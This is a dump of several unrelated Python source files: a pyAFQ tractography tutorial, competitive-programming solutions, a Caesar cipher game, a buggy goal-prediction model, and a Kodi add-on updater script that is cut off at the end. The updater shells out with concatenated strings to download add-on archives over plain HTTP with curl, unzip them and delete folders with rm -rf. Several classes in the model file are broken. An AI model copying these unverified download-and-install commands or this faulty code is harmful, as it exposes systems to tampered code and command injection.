+{"seq_id":"2325174230","text":"\"\"\"\n========================================\nUsing Subject Space ROIs from Freesurfer\n========================================\n\nAn example using the AFQ API to find bundles\nas defined by endpoint ROIs from freesurfer.\nThis example can be modified to work with ROIs\nin subject space from pipelines other than freesurfer.\n\"\"\"\nimport os.path as op\n\nimport nibabel as nib\nimport plotly\nimport numpy as np\n\nfrom AFQ.api.group import GroupAFQ\nimport AFQ.data.fetch as afd\nfrom AFQ.definitions.image import RoiImage\nimport AFQ.api.bundle_dict as abd\n\n##########################################################################\n# Get some example data\n# ---------------------\n#\n# Retrieves High angular resolution diffusion imaging (HARDI) dataset from\n# Stanford's Vista Lab\n#\n#   see https://purl.stanford.edu/ng782rw8378 for details on dataset.\n#\n# The data for the first subject and first session are downloaded locally\n# (by default into the users home directory) under:\n#\n#   ``.dipy/stanford_hardi/``\n#\n# Anatomical data (``anat``) and Diffusion-weighted imaging data (``dwi``) are\n# then extracted, formatted to be BIDS compliant, and placed in the AFQ\n# data directory (by default in the users home directory) under:\n#\n#   ``AFQ_data/stanford_hardi/``\n#\n# This data represents the required preprocessed diffusion data necessary for\n# intializing the GroupAFQ object (which we will do next)\n#\n# The clear_previous_afq is used to remove any previous runs of the afq object\n# stored in the AFQ_data/stanford_hardi/ BIDS directory. Set it to None if\n# you want to use the results of previous runs. Setting it to \"track\"\n# as here will only clear derivatives that depend on the tractography stage\n# (i.e., bundle delination and tract profile calculation),\n# as well as the tractography itself, to save time on recomputation.\n# If you want to only clear derivatives that depend on bundle delineation,\n# and keep the tractography, you can set clear_previous_afq to\n# \"recog\" instead.\n\nafd.organize_stanford_data(clear_previous_afq=\"track\")\n\n##########################################################################\n# Generate left thalamus ROI from freesurfer segmentation file\n# ------------------------------------------------------------\n# 1. Load the segmentation file that was generated by Freesurfer for\n#    the specific subject.\n# 2. Identify the left thalamus within the file, which has the label\n#    number 41\n# 3. Create a Nifti image representing the left thalamus ROI:\n#    - Assign a value of 1 to the voxels that Freesurfer\n#      has labeled as 41 (i.e., the left thalamus).\n#    - Assign a value of 0 to all other voxels.\n# This binary mask format is the expected input for pyAFQ when\n# dealing with subject space ROIs. If it's already in binary format,\n# there is no need to do this step.\n\nfreesurfer_subject_folder = op.join(\n    afd.afq_home, \"stanford_hardi\",\n    \"derivatives\", \"freesurfer\",\n    \"sub-01\", \"ses-01\",\n    \"anat\")\n\nseg_file = nib.load(op.join(\n    freesurfer_subject_folder, \"sub-01_ses-01_seg.nii.gz\"))\nleft_thal = seg_file.get_fdata() == 41\nnib.save(\n    nib.Nifti1Image(\n        left_thal.astype(np.float32),\n        seg_file.affine),\n    op.join(\n        freesurfer_subject_folder,\n        \"sub-01_ses-01_desc-leftThal_mask.nii.gz\"))\n\n# Fetch LV1 ROI\n# which was already generated using the process above\nafd.fetch_stanford_hardi_lv1()\n\n##########################################################################\n# Set tractography parameters (optional)\n# ---------------------\n# We make this tracking_params which we will pass to the GroupAFQ object\n# which specifies that we want 10,000 seeds randomly distributed\n# only within the endpoint ROIs and not throughout the white matter.\n# This is controlled by passing\n# `\"seed_mask\": RoiImage()` in the `tracking_params` dict.\n#\n# We only do this to make this example faster and consume less space.\n\ntracking_params = dict(n_seeds=10000,\n                       random_seeds=True,\n                       rng_seed=42,\n                       seed_mask=RoiImage(use_endpoints=True))\n\n#############################################################################\n# Define custom `BundleDict` object\n# --------------------------------\n# In a typical `BundleDict` object, ROIs are passed as paths to Nifti files.\n# Here, we define ROIs as dictionaries instead, containing BIDS filters.\n# Then pyAFQ can find the respective ROI for each subject and session.\n\nbundles = abd.BundleDict({\n    \"L_OR\": {\n        \"start\": {\n            \"scope\": \"freesurfer\",\n            \"suffix\": \"mask\",\n            \"desc\": \"leftThal\"},\n        \"end\": {\n            \"scope\": \"freesurfer\",\n            \"suffix\": \"anat\",\n            \"desc\": \"LV1\"\n        },\n        \"cross_midline\": False,\n        \"space\": \"subject\"\n    }})\n\n##########################################################################\n# Initialize a GroupAFQ object:\n# -------------------------\n#\n# Creates a GroupAFQ object, that encapsulates tractometry,\n# passing in our custom bundle info. Then we run the pipeline\n# and generate a visualization of the bundle we found.\n\nmyafq = GroupAFQ(\n    bids_path=op.join(afd.afq_home, 'stanford_hardi'),\n    preproc_pipeline='vistasoft',\n    tracking_params=tracking_params,\n    bundle_info=bundles)\n\nbundle_html = myafq.export(\"indiv_bundles_figures\")\nplotly.io.show(bundle_html[\"01\"][\"L_OR\"])\n","repo_name":"yeatmanlab/pyAFQ","sub_path":"examples/tutorial_examples/use_subject_space_rois_from_freesurfer.py","file_name":"use_subject_space_rois_from_freesurfer.py","file_ext":"py","file_size_in_byte":5358,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"16"}
+{"seq_id":"29418684763","text":"n = int(input())\n\ntimes = []\n\nfor _ in range(n):\n    x, y = map(int, input().strip().split(\" \"))\n\n    times.append((x, y))\n\ntimes.sort()\n\nadj = []\n\nfor i in range(n):\n    temp = []\n    adj.append(temp)\n\n\nfor i in range(n-1):\n    for j in range(i+1, n):\n        if times[i][1] <= times[j][0]:\n            adj[i].append(j)\n            # adj[j].append(i)\n\n\ndef dfs(n):\n    global visited, count\n    \n    if n in visited:\n        return\n    \n    count += 1\n    visited.append(n)\n\n    for i in adj[n]:\n        if i not in visited:\n            dfs(i)\n\n\nm = -1\nfor i in range(n):\n    visited = []\n    count = 0\n\n    dfs(i)\n\n    if count > m:\n        m = count\n\nprint(m)\n\n","repo_name":"KATTA-00/Competitive-Programming","sub_path":"Platforms/CSES Problem Set/Sorting and Seraching/Movie Festival.py","file_name":"Movie Festival.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22984215522","text":"expr = str(input('Escreva uma expressão: '))\ncont = []\nfor simb in expr:\n    if simb == '(':\n        cont.append('(')\n    elif simb == ')':\n        if len(cont) > 0:\n            cont.pop()\n        else:\n            cont.append(')')\n            break\nif len(cont) == 0:\n    print('Sua expressão está VÁLIDA')\nelse:\n    print('Sua expressão está INVÁLIDA')","repo_name":"alaanlimaa/Python_CVM1-2-3","sub_path":"Aula 17/ex083.py","file_name":"ex083.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"47244660","text":"TREE = '#'\r\nEMPTY = '.'\r\n\r\n\r\ndef check_slop(col_offset, row_offset, rows):\r\n    length = len(rows[0])\r\n    height = len(rows)\r\n    col_index = (0 + col_offset) % length\r\n    row_index = 0 + row_offset\r\n    tree_count = 0\r\n\r\n    while row_index < height:\r\n        if rows[row_index][col_index] == TREE:\r\n            tree_count += 1\r\n        row_index += row_offset\r\n        col_index = (col_index + col_offset) % length\r\n    return tree_count\r\n\r\n\r\ndef main():\r\n    with open('./input') as input_file:\r\n        rows = list(map(str.strip, input_file.readlines()))\r\n\r\n        print(check_slop(1, 1, rows) *\r\n              check_slop(3, 1, rows) *\r\n              check_slop(5, 1, rows) *\r\n              check_slop(7, 1, rows) *\r\n              check_slop(1, 2, rows))\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n","repo_name":"rughciatuk/AdventOfCode2020","sub_path":"day3/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12180933419","text":"# random points\r\ndef number_generator():\r\n    a = 290797\r\n    while True:\r\n        yield a\r\n        a = a * a % 50515093\r\n\r\ndef random_points():\r\n    points = []\r\n    gen = number_generator()\r\n    for i in range(2_000_000):\r\n        points.append((next(gen), next(gen)))\r\n    return points\r\n\r\n# merge sort\r\ndef merge(a_1, a_2, axis):\r\n    result = []\r\n    i, j = 0, 0\r\n    while i < len(a_1) and j < len(a_2):\r\n        if a_1[i][axis] <= a_2[j][axis]:\r\n            result.append(a_1[i])\r\n            i += 1\r\n        else:\r\n            result.append(a_2[j])\r\n            j += 1\r\n    while i < len(a_1):\r\n        result.append(a_1[i])\r\n        i += 1\r\n    while j < len(a_2):\r\n        result.append(a_2[j])\r\n        j += 1\r\n    return result\r\n\r\ndef merge_sort(a, index):\r\n    if len(a) == 1:\r\n        return a\r\n    midpt = len(a) // 2\r\n    a_1 = merge_sort(a[:midpt], index)\r\n    a_2 = merge_sort(a[midpt:], index)\r\n    return merge(a_1, a_2, index)\r\n\r\n\r\n\r\n# minimum distance\r\ndef euclid(a, b):\r\n    e_a = (b[0]-a[0])**2\r\n    e_b = (b[1]-a[1])**2\r\n    return (e_a + e_b)**0.5\r\n\r\ndef minimum_distance(P, X, Y):\r\n    #base case\r\n    if len(P) <= 1:\r\n        return (0,0), (0,0), float('inf')\r\n    elif len(P) in [2, 3]:\r\n        dist1 = euclid(P[0], P[1])\r\n        if len(P) == 2:\r\n            return P[0], P[1], dist1\r\n        else:\r\n            dist2 = euclid(P[0], P[2])\r\n            dist3 = euclid(P[1], P[2])\r\n            if dist2 < dist1:\r\n                if dist3 < dist2:\r\n                    return P[1], P[2], dist3\r\n                return P[0], P[2], dist2\r\n            return P[0], P[1], dist1\r\n    else:\r\n        # recursive case\r\n        mid_index = (len(X)) // 2\r\n        mid_line = X[mid_index][0]\r\n    \r\n        # divide\r\n        PL, PR = [], []\r\n        for p in range(len(P)):\r\n            if P[p][0] <= mid_line:\r\n                PL.append(P[p])\r\n            else:\r\n                PR.append(P[p])\r\n    \r\n        XL, XR = [], []\r\n        for p in range(len(X)):\r\n            if X[p][0] <= mid_line:\r\n                XL.append(X[p])\r\n            else:\r\n                XR.append(X[p])\r\n    \r\n        YL, YR = [], []\r\n        for p in range(len(Y)):\r\n            if Y[p][0] <= mid_line:\r\n                YL.append(Y[p])\r\n            else:\r\n                YR.append(Y[p])\r\n\r\n        # conquer\r\n        Lpt_a, Lpt_b, deltaL = minimum_distance(PL, XL, YL)\r\n        Rpt_a, Rpt_b, deltaR = minimum_distance(PR, XR, YR)\r\n        if deltaL < deltaR:\r\n            pt_a = Lpt_a\r\n            pt_b = Lpt_b\r\n            delta = deltaL\r\n        else:\r\n            pt_a = Rpt_a\r\n            pt_b = Rpt_b\r\n            delta = deltaR\r\n    \r\n        # combine\r\n        Y_prime = []\r\n        for p in range(len(Y)):\r\n            if (mid_line - delta) <= Y[p][0] and Y[p][0] <= (mid_line + delta):\r\n                Y_prime.append(Y[p])\r\n    \r\n        for p in range(len(Y_prime)):\r\n            j = 1\r\n            while (not (p+j) == len(Y_prime)) and j <= 7:\r\n                delta_temp = euclid(Y_prime[p], Y_prime[p + j])\r\n                if delta_temp < delta:\r\n                    pt_a = Y_prime[p]\r\n                    pt_b = Y_prime[p + j]\r\n                    delta = delta_temp\r\n                j += 1\r\n    \r\n        return pt_a, pt_b, delta\r\n    \r\n\r\n\r\n# test case\r\npts = random_points()\r\n\r\nX = merge_sort(pts, 0)\r\nprint(\"merge sorted X\")\r\n\r\nY = merge_sort(pts, 1)\r\nprint(\"merge sorted Y\")\r\n\r\npt_a, pt_b, res = minimum_distance(pts, X, Y)\r\nprint(\"best points:\", pt_a, pt_b)\r\nprint(\"min distance:\", res)","repo_name":"ElijahTyler/csi3610-code","sub_path":"min_distance.py","file_name":"min_distance.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35253262477","text":"alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\n\ndef caesar(start_text, shift_amount, cipher_direction):\n  end_text = \"\"\n  if cipher_direction == \"decode\":\n    shift_amount *= -1\n  for char in start_text:\n    if char in alphabet :\n      position = alphabet.index(char)\n      new_position = position + shift_amount\n      end_text += alphabet[new_position]\n    else:\n      end_text+=char\n  print(f\"你是要 {cipher_direction}d 結果是: {end_text}\")\n\n\nimport art\nprint(art.logo)\nprint(\"-----------------------------------------\")\nprint(\" \")\nprint('歡迎來到密碼遊戲，使用這個小程式你可以將你的資料加密或解密，快來試試吧!')\n\nshould_continue = True\nwhile should_continue:\n  direction = input(\"你要加密或解密? 加密輸入: 'encode' 解密輸入: 'decode' \\n\")\n  text = input(\"輸入你想要打的文字，請輸入英文、數字或符號:\\n\").lower()\n  shift = (int(input(\"你想要順移的單位:\\n\")))%len(alphabet)\n\n\n# new_shift= shift%len(alphabet)\n  caesar(start_text=text, shift_amount=shift,     cipher_direction=direction)\n  ans = input(\"想要再試一次嗎? (yes or no)\").lower()\n  if ans ==\"no\":\n    should_continue = False\n    print('Good Bye!!')\n","repo_name":"sarawuwu/little_games_python","sub_path":"caesar_cipher.py","file_name":"caesar_cipher.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"34138332803","text":"#\n# @lc app=leetcode id=785 lang=python3\n#\nfrom collections.abc import Mapping, Set\nclass NodeView(Mapping, Set):\n    __slots__ = '_nodes',\n\n    def __getstate__(self):\n        return {'_nodes': self._nodes}\n\n    def __setstate__(self, state):\n        self._nodes = state['_nodes']\n\n    def __init__(self, graph):\n        self._nodes = graph._node\n\n    # Mapping methods\n    def __len__(self):\n        return len(self._nodes)\n\n    def __iter__(self):\n        return iter(self._nodes)\n\n    def __getitem__(self, n):\n        return self._nodes[n]\n\n    # Set methods\n    def __contains__(self, n):\n        return n in self._nodes\n\n    @classmethod\n    def _from_iterable(cls, it):\n        return set(it)\n\n    # DataView method\n    def __call__(self, data=False, default=None):\n        if data is False:\n            return self\n        return NodeDataView(self._nodes, data, default)\n\n    def data(self, data=True, default=None):\n        if data is False:\n            return self\n        return NodeDataView(self._nodes, data, default)\n\n    def __str__(self):\n        return str(list(self))\n\n    def __repr__(self):\n        return '%s(%r)' % (self.__class__.__name__, tuple(self))\n\nclass Graph:\n\n    def __init__(self):\n        self._node = {}\n        self._adj = {}\n\n    def add_edge(self, u_of_edge, v_of_edge, **attr):\n        u, v = u_of_edge, v_of_edge\n        # add nodes\n        if u not in self._node:\n            self._adj[u] = {}\n            self._node[u] = {}\n        if v not in self._node:\n            self._adj[v] = {}\n            self._node[v] = {}\n        # add the edge\n        datadict = self._adj[u].get(v, {})\n        datadict.update(attr)\n        self._adj[u][v] = datadict\n        self._adj[v][u] = datadict\n\n\n    @property\n    def nodes(self):\n        nodes = NodeView(self)\n        self.__dict__['nodes'] = nodes\n        return nodes\n\n    def neighbors(self, n):\n        return iter(self._adj[n])\n\nfrom collections import defaultdict\nclass Solution:\n    # def isBipartite(self, graph: List[List[int]]) -> bool:\n    def isBipartite(self, graph):\n\n\n        n = len(graph)\n        # if n % 2 != 0:\n        #     return False\n\n        # from networkx import nx\n        # g = nx.Graph()\n        g = Graph()\n        for u in range(n):\n            for v in graph[u]:\n                g.add_edge(u, v)\n\n        # print(nx.info(g))\n        red = set()\n        explored = defaultdict(lambda: False)\n        \n        def dfs(node, set_red):\n            # print('start exploring', node, 'set_red=', set_red, 'red=', red)\n            explored[node] = True\n            if set_red:\n                red.add(node)\n\n            for neighbor in g.neighbors(node):\n                if not explored[neighbor]:\n                    res = dfs(neighbor, set_red = not set_red)\n                    # print('finish exploring', node, 'set_red=', set_red, 'red=', red, 'res=', res)\n                    return res\n                else:\n                    # True means not bipartite\n                    if set_red and neighbor in red:\n                        # print('finish exploring', node, 'set_red=', set_red, 'red=', red, 'res=', True)\n                        return True\n                    elif not set_red and neighbor not in red:\n                        # print('finish exploring', node, 'set_red=', set_red, 'red=', red, 'res=', True)\n                        return True                \n\n        for n in g.nodes:\n            if not explored[n]:\n                if all([not explored[neighbor] for neighbor in g.neighbors(n)]):\n                    if dfs(n, set_red=True):\n                        return False\n                else:\n                    for neighbor in g.neighbors(n):\n                        if explored[neighbor]:\n                            if neighbor in red:\n                                if dfs(n, set_red=False):\n                                    return False\n                            else:\n                                if dfs(n, set_red=True):\n                                    return False\n        return True\n\n\n\n\n# s = Solution()\n# graph = [[1,3], [0,2], [1,3], [0,2]]\n# print(s.isBipartite(graph))\n\n\n\n# graph = [[1,2,3], [0,2], [0,1,3], [0,2]]\n# print(s.isBipartite(graph) == False)\n\n\n\n\n# graph = [[3],[2,4],[1],[0,4],[1,3]]\n# print(s.isBipartite(graph)) #True\n\n\n\n# graph = [[1,4],[0,2],[1],[4],[0,3]]\n# print(s.isBipartite(graph)) #True\n\n\n\n\n\n\n\n\n        \n","repo_name":"nickyfoto/lc","sub_path":"python/785.is-graph-bipartite.py","file_name":"785.is-graph-bipartite.py","file_ext":"py","file_size_in_byte":4390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11873754343","text":"import torch\nimport torch.nn as nn\nfrom collections import OrderedDict\n\nfrom models.modules import build_mlp \n\n\nclass GoalReconstructor(nn.Module):\n    def __init__(self, opts, img_feat_input_dim, img_fc_dim, img_fc_use_batchnorm, img_dropout, fc_bias=True):\n        super(GoalReconstructor, self).__init__()\n        self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n        enc_kwargs = OrderedDict([\n            ('input_dim', img_feat_input_dim),\n            ('hidden_dims', img_fc_dim),\n            ('use_batchnorm', img_fc_use_batchnorm),\n            ('dropout', img_dropout),\n            ('fc_bias', fc_bias),\n            ('relu', opts.mlp_relu)\n        ]) \n        dec_kwargs = OrderedDict([\n            ('input_dim', img_fc_dim[-1]),\n            ('hidden_dims', img_fc_dim[:-1][::-1]+[img_feat_input_dim]),\n            ('use_batchnorm', img_fc_use_batchnorm),\n            ('dropout', img_dropout),\n            ('fc_bias', fc_bias),\n            ('relu', opts.mlp_relu)\n        ]) \n        self.enc = build_mlp(**enc_kwargs)\n        self.dec = build_mlp(**dec_kwargs)\n\n        def forward(self, img_feat):\n            encoding = self.enc(img_feat)\n            pred     = self.dec(img_feat)\n            return encoding, pred \n\nclass GoalPredictor(nn.Module):\n    def __init__(self, opts, img_feat_input_dim, ctx_input_dim, mlp_fc_dim, mlp_fc_use_batchnorm, mlp_dropout, fc_bias=True):\n        super(GoalReconstructor, self).__init__()\n        self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n        mlp_kwargs = OrderedDict([\n            ('input_dim', img_feat_input_dim + ctx_input_dim),\n            ('hidden_dims', mlp_fc_dim),\n            ('use_batchnorm', mlp_fc_use_batchnorm),\n            ('dropout', mlp_dropout),\n            ('fc_bias', fc_bias),\n            ('relu', opts.mlp_relu)\n        ]) \n        self.mlp = build_model(**mlp_kwargs)\n        \n    def forward(self, img_feat, ctx_feat):\n        x = torch.cat([img_feat, ctx_feat], dim=1)\n        pred = self.mlp(x)\n        return pred\n","repo_name":"princetonvisualai/VLNActionPriors","sub_path":"tasks/R2R-pano/models/goal_model.py","file_name":"goal_model.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70860937928","text":"import sys\nimport os\nimport re\nimport time\nimport xbmc\nimport xbmcgui\nimport xbmcaddon\nimport shutil\nimport json\n\nIconPath = \"/storage/.xbmc/media/tv/au/\"\nADDON = xbmcaddon.Addon()\n__cwd__ = xbmc.translatePath( ADDON.getAddonInfo('path') )\n__lib__ = os.path.join( __cwd__, 'resources')\nUSERPATH1 = os.path.join('/storage/.xbmc/addons')\nUSERPATH2 = os.path.join('/storage/.xbmc/userdata/addon_data')\n\ndef replace(fName, srcStr, desStr):\n  fi=open(fName)\n  text=fi.read()\n  text=re.subn(srcStr,desStr,text)[0]\n  fi.close()\n\n  fo=open(fName,\"w\")\n  fo.write(text)\n  fo.close()\n\ndef updateICON(targetFile):\n  RESOURCES = os.path.join(__lib__,targetFile)\n  targetPath = os.path.join(IconPath,targetFile)\n  if not (os.path.exists(targetPath)):\n    shutil.copy(RESOURCES,IconPath)\n\ndef TargetFileUpdate(tFile,tPath):\n  Flag = False;\n  sPath=os.path.join(__lib__, tFile)\n  if os.path.exists(sPath):\n    if not os.path.exists(os.path.join(tPath,tFile)):\n      #xbmc.executebuiltin(\"XBMC.InstallAddon(%s)\" % tFile)\n      os.system(\"cp -r \"+sPath+\" \"+tPath)\n      Flag = True\n\n    os.system(\"rm -rf \"+sPath)\n\n  return Flag\n\ndef TargetFileUpdate2(tFile,tPath):\n  Flag = False\n  sPath=os.path.join(__lib__, tFile)\n  if os.path.exists(sPath):\n    if not os.path.exists(os.path.join(tPath,tFile)):\n      #xbmc.executebuiltin(\"XBMC.UpdateAddonRepos()\")\n      #time.sleep(2)\n      #xbmc.executebuiltin(\"XBMC.InstallAddon(%s)\" % tFile)\n      os.system(\"cp -r \"+sPath+\" \"+tPath)\n      Flag = True\n\n    os.system(\"rm -rf \"+sPath)\n\n  return Flag\n\ndef TargetFileRemove(tFile,tPath):\n  sPath=os.path.join(tPath,tFile)\n  if os.path.exists(sPath):\n    os.system(\"rm -rf \"+sPath)\n\n\ndef dis_or_enable_addon(addon_id, enable=\"true\"):\n    addon = '\"%s\"' % addon_id\n    if xbmc.getCondVisibility(\"System.HasAddon(%s)\" % addon_id) and enable == \"true\":\n        return xbmc.log(\"### Skipped %s, reason = allready enabled\" % addon_id)\n    elif not xbmc.getCondVisibility(\"System.HasAddon(%s)\" % addon_id) and enable == \"false\":\n        xbmc.log(\"### Skipped %s, reason = not installed\" % addon_id)\n        quit()\n    else:\n        do_json = '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"Addons.SetAddonEnabled\",\"params\":{\"addonid\":%s,\"enabled\":%s}}' % (addon, enable)\n        query = xbmc.executeJSONRPC(do_json)\n        response = json.loads(query)\n        if enable == \"true\":\n            xbmc.log(\"### Enabled %s, response = %s\" % (addon_id, response))\n        else:\n            xbmc.log(\"### Disabled %s, response = %s\" % (addon_id, response))\n    return xbmc.executebuiltin('Container.Update(%s)' % xbmc.getInfoLabel('Container.FolderPath'))\n\ndef installAddon(version,addon):\n    sFile = addon+\"-\"+version+\".zip\"\n    fullpath = \"http://services.seebo.com.au/seebo_addons/hex/repo/\"+addon+\"/\"+sFile\n    zipPath = USERPATH1+\"/packages/\"+sFile\n    os.system(\"curl \"+fullpath+\" > \"+zipPath)\n    time.sleep(1)\n    os.system(\"unzip \"+zipPath+\" -d \"+USERPATH1)\n\ndef dialog4Addons(name):\n    str=\"The system will be restarted to enable this add-on.\"\n    dialog = xbmcgui.Dialog()\n    return dialog.ok(\"Update new add-on for movies TV shows\",\"[\"+name+\"]\",str)\n\ndef addons4MagicDragon():\n    addon = \"plugin.video.themagicdragon\"\n    if not os.path.exists(os.path.join(USERPATH1,addon)):\n        installAddon(\"1.30\",addon)\n        return dialog4Addons(\"The Magic Dragon\")\n    return False\n\ndef addons4Yoda():\n    addon = \"plugin.video.yoda\"\n    if not os.path.exists(os.path.join(USERPATH1,addon)):\n        installAddon('1.0.3.1',addon)\n        installAddon('1.1.0','script.module.yoda')\n        installAddon('1.0.0','script.yoda.artwork')\n        installAddon('1.0.0','script.yoda.metadata')\n        installAddon('1.1.2','script.realdebrid.mod')\n        return dialog4Addons(\"Yoda\")\n    return False\n\ndef addons4Tempest():\n    addon = \"plugin.video.tempest\"\n    if not os.path.exists(os.path.join(USERPATH1,addon)):\n        installAddon('4.0.88a',addon)\n        installAddon('1.0.2','script.tempest.artwork')\n        installAddon('1.0.1','script.tempest.metadata')\n        return dialog4Addons(\"Tempest\")\n    return False\n\ndef addons4ExodusRedux():\n    addon = \"plugin.video.exodusredux\"\n    if not os.path.exists(os.path.join(USERPATH1,addon)):\n        installAddon('2.0.3a',addon)\n        installAddon('1.0.2','script.exodusredux.artwork')\n        installAddon('1.0.2','script.exodusredux.metadata')\n        installAddon('2.0.3','script.module.exodusredux')\n        installAddon('0.0.1.94','script.module.openscrapers')\n        return dialog4Addons(\"Exodus-Redux\")\n    return False\n\n#======================================================================================================================\nif __name__=='__main__':\n  updateICON(\"SBS ONE HD.png\")\n  updateICON(\"SBS VICELAND HD.png\")\n  updateICON(\"ABC NEWS.png\")\n  updateICON(\"ABC COMEDY.png\")\n  updateICON(\"7food network.png\")\n  updateICON(\"10.png\")\n  updateICON(\"10 BOLD.png\")\n  updateICON(\"10 Peach.png\")\n  updateICON(\"10 HD.png\")\n  updateICON(\"Your Money.png\")\n  updateICON(\"SBS Food.png\")\n\n  #Check the ABCComedy/Kids channel\n  srcPath=\"/storage/.xbmc/userdata/addon_data/service.multimedia.vdr-addon/config/channels.conf\"\n  if os.path.exists(srcPath):\n    replace(srcPath,\"ABCComedy/Kids\",\"ABC COMEDY\")\n\n  #Add-ons\n  RebootFlag = False\n  sPath=os.path.join(USERPATH1,\"plugin.video.afl-video\")\n  if os.path.exists(sPath):\n    str1=\"AFL / NRL /Cricket / netball\"\n\n    dialog = xbmcgui.Dialog()\n    yes = dialog.yesno(\"Remove add-ons\",str1,\"These Add-ons will no longer be operating.\",\"Please refer [http://aussieaddons.com]\")\n    if yes:\n      TargetFileRemove(\"plugin.video.afl-video\",USERPATH1)\n      TargetFileRemove(\"plugin.video.cricketaustralia\",USERPATH1)\n      TargetFileRemove(\"plugin.video.netball-live\",USERPATH1)\n      TargetFileRemove(\"plugin.video.nrl-live\",USERPATH1)\n      time.sleep(1)\n      RebootFlag = True\n\n  sPath=os.path.join(USERPATH1,\"plugin.video.covenant\")\n  if os.path.exists(sPath):\n    str1=\"StreamHub / Survivor / Covenant\"\n\n    dialog = xbmcgui.Dialog()\n    yes = dialog.yesno(\"Remove add-ons\",str1,\"These Add-ons will no longer be operating.\")\n    if yes:\n      TargetFileRemove(\"plugin.video.streamhub\",USERPATH1)\n      TargetFileRemove(\"plugin.video.survivor\",USERPATH1)\n      TargetFileRemove(\"plugin.video.covenant\",USERPATH1)\n      time.sleep(1)\n      RebootFlag = True\n\n  sPath=os.path.join(USERPATH1,\"plugin.video.neptune\")\n  if os.path.exists(sPath):\n    str1=\"Neptune Rising\"\n    dialog = xbmcgui.Dialog()\n    yes = dialog.yesno(\"Remove add-ons\",str1,\"This Add-on will no longer be operating.\")\n    if yes:\n      TargetFileRemove(\"plugin.video.neptune\",USERPATH1)\n      TargetFileRemove(\"script.neptune.artwork\",USERPATH1)\n      TargetFileRemove(\"script.neptune.metadata\",USERPATH1)\n      TargetFileRemove(\"plugin.video.foodnetwork\",USERPATH1)\n      TargetFileRemove(\"plugin.video.footballreplays\",USERPATH1)\n      time.sleep(1)\n      RebootFlag = True\n\n  sPath=os.path.join(USERPATH1,\"plugin.video.mc1080p\")\n  if os.path.exists(sPath):\n    str1=\"[MC 1080P]\"\n    dialog = xbmcgui.Dialog()\n    yes = dialog.yesno(\"Remove add-ons\",str1,\"This Add-on will no longer be operating.\")\n    if yes:\n      TargetFileRemove(\"plugin.video.mc1080p\",USERPATH1)\n      time.sleep(1)\n      RebootFlag = True\n\n  sPath=os.path.join(USERPATH1,\"plugin.video.placenta\")\n  if os.path.exists(sPath):\n    str1=\"[Placenta]\"\n    dialog = xbmcgui.Dialog()\n    yes = dialog.yesno(\"Remove add-ons\",str1,\"This Add-on will no longer be operating.\")\n    if yes:\n      TargetFileRemove(\"script.placenta.artwork\",USERPATH1)\n      TargetFileRemove(\"script.placenta.metadata\",USERPATH1)\n      TargetFileRemove(\"plugin.video.placenta\",USERPATH1)\n      TargetFileRemove(\"script.module.placenta\",USERPATH1)\n      time.sleep(1)\n      RebootFlag = True\n\n  # sPath=os.path.join(USERPATH1,\"plugin.video.exodus\")\n  # if os.path.exists(sPath):\n  #   str1=\"Exodus\"\n  #   dialog = xbmcgui.Dialog()\n  #   yes = dialog.yesno(\"Replace add-ons\",str1,\"This Add-on will be replaced with Exodus-Redux\")\n  #   if yes:\n  #     TargetFileRemove(\"plugin.video.exodus\",USERPATH1)\n  #     TargetFileRemove(\"script.exodus.artwork\",USERPATH1)\n  #     TargetFileRemove(\"script.exodus.metadata\",USERPATH1)\n  #     TargetFileRemove(\"script.module.exodus\",USERPATH1)\n  #     TargetFileRemove(\"script.module.exoscrapers\",USERPATH1)\n  #     TargetFileRemove(\"script.module.exodusscrapers\",USERPATH1)\n  #     TargetFileRemove(\"plugin.video.mc1080p\",USERPATH1)\n  #     time.sleep(1)\n  #     installAddon('2.0.3a','plugin.video.exodusredux')\n  #     installAddon('1.0.2','script.exodusredux.artwork')\n  #     installAddon('1.0.2','script.exodusredux.metadata')\n  #     installAddon('2.0.3','script.module.exodusredux')\n  #     installAddon('0.0.1.94','script.module.openscrapers')\n  #     RebootFlag = True\n\n  RebootFlag = addons4MagicDragon()\n  RebootFlag = addons4Yoda()\n  RebootFlag = addons4Tempest()\n  RebootFlag = addons4ExodusRedux()\n\n  str1 = \"plugin.video.kayo.sports\"\n  sPath=os.path.join(USERPATH1,str1)\n  if not os.path.exists(sPath) and not os.path.exists(\"/storage/DontAskAgain\"):\n    str2=\"This is an add-on that requires a paid subscription.\"\n    str3=\"For more information, please visit https://kayosports.com.au\"\n    str4=\"Would you like to install it?\"\n    dialog = xbmcgui.Dialog()\n    if dialog.yesno(\"[Kayo Sports] add-on is available now\",str2,str3,str4):\n      TargetFileUpdate(str1,USERPATH1)\n      TargetFileUpdate('script.module.arrow',USERPATH1)\n      dialog = xbmcgui.Dialog()\n      dialog.ok(\"Update new add-on for Spotrs\",\"Kayo Sports\",\"The system will be restarted to enable this add-on.\")\n      